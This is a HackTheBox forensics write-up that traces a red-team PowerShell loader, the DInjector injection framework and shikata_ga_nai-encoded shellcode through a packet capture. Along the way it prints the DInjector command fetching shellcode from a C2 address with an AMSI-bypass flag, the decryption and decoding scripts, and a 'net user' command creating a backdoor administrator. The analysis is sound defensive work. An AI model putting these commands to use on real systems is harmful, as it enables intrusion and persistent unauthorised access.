$ cat writeup.md…
$ cat writeup.md…
HackTheBox
Task: analyze a PCAP from a red team engagement to find leftover persistence mechanisms. Solution: extract HTTP objects (PS1 loader, DInjector DLL, encrypted shellcode), deobfuscate PowerShell to recover AES password, decrypt shellcode, decode shikata_ga_nai encoder to reveal a net user command creating a backdoor admin account.
During a recent red team engagement one of our servers got compromised. Upon completion the red team should have deleted any malicious artifact or persistence mechanism used throughout the project. However, our engineers have found numerous of them left behind. It is therefore believed that there are more such mechanisms still active. Can you spot any, by investigating this network capture?
We are given a capture.pcap file (password-protected ZIP, password: hackthebox). The goal is to analyze the network traffic, identify the attack chain, and find the persistence mechanism the red team forgot to clean up.
Analysis with tshark revealed 3 HTTP downloads from 147.182.172.189:80:
| Object | Description | Size |
|---|---|---|
/4A7xH.ps1 | Obfuscated PowerShell loader script | ~2KB |
/user32.dll | DInjector .NET process injection framework (disguised as user32.dll) | 86KB PE32 DLL Mono/.Net assembly |
/9tVI0 | AES-encrypted shellcode payload | 336 bytes |
The attack chain is clear: PowerShell script downloads a .NET injection framework and encrypted shellcode, then uses the framework to inject the decrypted shellcode into a process.
The PS1 script used heavy string format obfuscation — "{0}{1}" -f 'X','Y' patterns combined with backtick character escapes. After manual deobfuscation, the key variables were recovered:
| Variable | Value | Purpose |
|---|---|---|
$a | currentthread | Injection method |
$B | 147.182.172.189 | C2 server IP |
$C | 80 | C2 port |
$D | user32.dll | DLL filename to download |
$E | 9tVI0 | Shellcode endpoint |
$f | z64&Rx27Z$B%73up | AES encryption password |
$g | C:\Windows\System32\svchost.exe | Image path (deobfuscated via string replace of 'f3h' → char 92 backslash) |
$h | notepad | PID placeholder |
$I | explorer | PPID placeholder |
$j | msvcp_win.dll | DLL name |
$k | True | blockDlls flag |
$l | True | am51 (AMSI bypass) flag |
The password $f was particularly tricky — it was constructed using -F[cHar]36 format string, where [char]36 is $, producing z64&Rx27Z$B%73up.
The script constructs the DInjector command line:
currentthread /sc:http://147.182.172.189:80/9tVI0 /password:z64&Rx27Z$B%73up /image:C:\Windows\System32\svchost.exe /pid:notepad /ppid:explorer /dll:msvcp_win.dll /blockDlls:True /am51:True
It downloads user32.dll, loads it via .NET reflection ([Reflection.Assembly]::Load), finds the class DInjector.Detonator with NonPublic,Static binding flags, gets the method Boom, and invokes it with the command split by spaces.
The downloaded user32.dll is actually the DInjector .NET process injection framework by snovvcrash. It supports multiple injection techniques and encrypts its shellcode payloads with AES-CBC using:
tshark -r capture.pcap --export-objects http,http_objects/
This extracts the three files: 4A7xH.ps1, user32.dll, and 9tVI0.
Using the recovered password from the deobfuscated PowerShell script:
#!/usr/bin/env python3 import hashlib from Crypto.Cipher import AES password = 'z64&Rx27Z$B%73up' with open('9tVI0', 'rb') as f: data = f.read() # DInjector AES-CBC: key = SHA256(password), IV = first 16 bytes key = hashlib.sha256(password.encode()).digest() iv = data[:16] ciphertext = data[16:] cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = cipher.decrypt(ciphertext) with open('shellcode.bin', 'wb') as f: f.write(decrypted) print(f"Decrypted {len(decrypted)} bytes of shellcode")
The decrypted shellcode starts with \xdb\xd9\xbe\x47... — the classic Metasploit shikata_ga_nai polymorphic XOR encoder. The decoder stub structure:
FCMOVNBE ST(0),ST(1) ; FPU instruction to set FPU IP
MOV ESI, 0x53d07c47 ; Initial XOR key
FNSTENV [ESP-0Ch] ; Store FPU environment to get EIP
POP EDX ; Get EIP into EDX
SUB ECX,ECX ; Zero ECX
MOV CL, 0x48 ; 72 iterations (288 bytes of payload)
XOR [EDX+0x19], ESI ; XOR decode current DWORD
ADD ESI, [EDX+0x19] ; Update key with decoded value (additive feedback)
SUB EDX, -4 ; Advance pointer (equivalent to ADD EDX, 4)
LOOP ; Repeat 72 times
Manual decoding with Python:
#!/usr/bin/env python3 import struct with open('shellcode.bin', 'rb') as f: sc = f.read() xor_key = 0x53d07c47 offset = 0x19 # Start of encoded payload within the stub count = 72 # Number of DWORDs to decode (0x48) decoded = bytearray() for i in range(count): pos = offset + i * 4 dword = struct.unpack('<I', sc[pos:pos+4])[0] dword ^= xor_key xor_key = (xor_key + dword) & 0xFFFFFFFF decoded.extend(struct.pack('<I', dword)) # Extract readable strings from decoded shellcode strings = [] current = [] for b in decoded: if 0x20 <= b < 0x7f: current.append(chr(b)) else: if len(current) >= 4: strings.append(''.join(current)) current = [] for s in strings: print(s)
The decoded shellcode contains a Windows command that creates a backdoor administrator account — the persistence mechanism the red team forgot to remove:
net user jmiller "HTB{REDACTED}" /add; net localgroup administrators jmiller /add
The flag is used as the password for the backdoor user jmiller, who is added to the local administrators group.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar